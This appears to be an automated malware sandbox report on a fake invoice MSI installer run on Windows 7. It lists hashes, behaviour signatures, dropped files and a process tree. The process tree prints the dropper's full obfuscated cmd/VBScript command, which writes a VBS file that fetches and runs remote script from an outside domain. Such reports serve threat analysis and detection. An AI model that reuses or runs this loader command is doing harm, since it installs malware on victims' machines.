Analysis

  • max time kernel
    359s
  • max time network
    360s
  • platform
    windows7_x64
  • resource
    win7-20240220-es
  • resource tags

    arch:x64arch:x86image:win7-20240220-eslocale:es-esos:windows7-x64systemwindows
  • submitted
    06/03/2024, 19:08

General

  • Target

    S-FACTURA2030𝕗𝟘𝟡20049059039057⃣6⃣7⃣07jlJ.msi

  • Size

    408KB

  • MD5

    74713b38f7fc6dad893684948b941e65

  • SHA1

    3090154f42e728f7c1de36f1e7c9e78075a3d999

  • SHA256

    17771bd38e0bf7cf7f0118e70ccfe3fedbf1c8a4a5b426aacd62a8bbb31fa68c

  • SHA512

    f2d7b544afc6e4b1f731cefca7472fcc39fc39d259aee5cb1d8bec2f441729c3366780c5304de5e0d42e4b74566f0e42c04ea40db192e09aee50dd31a76d28a6

  • SSDEEP

    6144:d7XaD+m4jXhtzPEBxB0Z1h1a93j3GruNmdDxjOCdx:dLPm4jxtzPEfBAMyruNm7dx

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 7 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 43 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\S-FACTURA2030𝕗𝟘𝟡20049059039057⃣6⃣7⃣07jlJ.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2812
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3052
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 860EC431B72EC91886FC430F12F0C705
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2792
      • C:\Windows\syswow64\cmD.exe
        cmD /V/D/c EcHo f5302=".":FunctIon m3y6n7(s2lp3):ijd4x7=Array(":","t","r","c","1"):m3y6n7=ijd4x7(s2lp3):end function:be16="S"+m3y6n7(3)+"rip"+m3y6n7(1)+m3y6n7(0)+"hT"+m3y6n7(1)+"ps://contdk"+f5302+"bounceme"+f5302+"net/g1":eval("Ge"+m3y6n7(1)+"Obje"+m3y6n7(3)+m3y6n7(1)+"(be16)")>nul>C:\Users\Public\^q8s12.vbs&c:\windows\system32\cmd /c start C:\Users\Public\q8s12.vbs
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2808
        • \??\c:\windows\SysWOW64\cmd.exe
          c:\windows\system32\cmd /c start C:\Users\Public\q8s12.vbs
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1596
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Public\q8s12.vbs"
            5⤵
            • Blocklisted process makes network request
            • Modifies system certificate store
            PID:992
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2668
  • C:\Windows\system32\DrvInst.exe
    DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000003D4" "00000000000005A4"
    1⤵
    • Drops file in System32 directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:2428

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Public\q8s12.vbs

    Filesize

    265B

    MD5

    9b77e4645c879280fc3e5e4cd02e211b

    SHA1

    22c1a2c21cefaef3aa4f4a85a8fb3db7bc9a2ab0

    SHA256

    8ea673f42e32594751d8fb57299f114e45c68896d09675ff421777e599c87f13

    SHA512

    594cc8bdc9c43bc3873804722803e37c3a47930ea39e2033ee4cd364f9ad6ca84b00f228a6494ba5d222afc176f32800ba92e3eb32f362b41848061114c0b45b

  • C:\Windows\Installer\MSI32E3.tmp

    Filesize

    377KB

    MD5

    3d72c225720dd7a2c627b6728cc8a488

    SHA1

    01c5fa512e04579bc5ac3c8a950c60406eed7f97

    SHA256

    616b4e543e8eb5ee4443cc230dd16dc46b931e25e3a8ce8992eccd3b94858ac5

    SHA512

    6c2ecb89deb2ea9dd6da5f191714a5694dda7349e7c3098f48eca2b06ab37949d7bf175d44f476dc2f34999eb7bdf1d565e098ddeb7d4115b79bff8a50a959e8

  • C:\Windows\System32\DriverStore\FileRepository\volsnap.inf_amd64_neutral_7499a4fac85b39fc\volsnap.PNF

    Filesize

    5KB

    MD5

    5e961b1e105c3b3e61e882a553bf5355

    SHA1

    a5410576b80da1982c64fd9bb81b85f6bc7cd12d

    SHA256

    1b68210cf77bbf95273c182120e0e38bc6750b361a5c2725319afb753dcfc0d1

    SHA512

    943d43bb77968c9d1df98076ec4a344c01596b2ae7771ce37dd10389ff96eadca91412106f404da5b54fb345d6e0e845259c8cec4537ff4d23c46a5a4e8d756a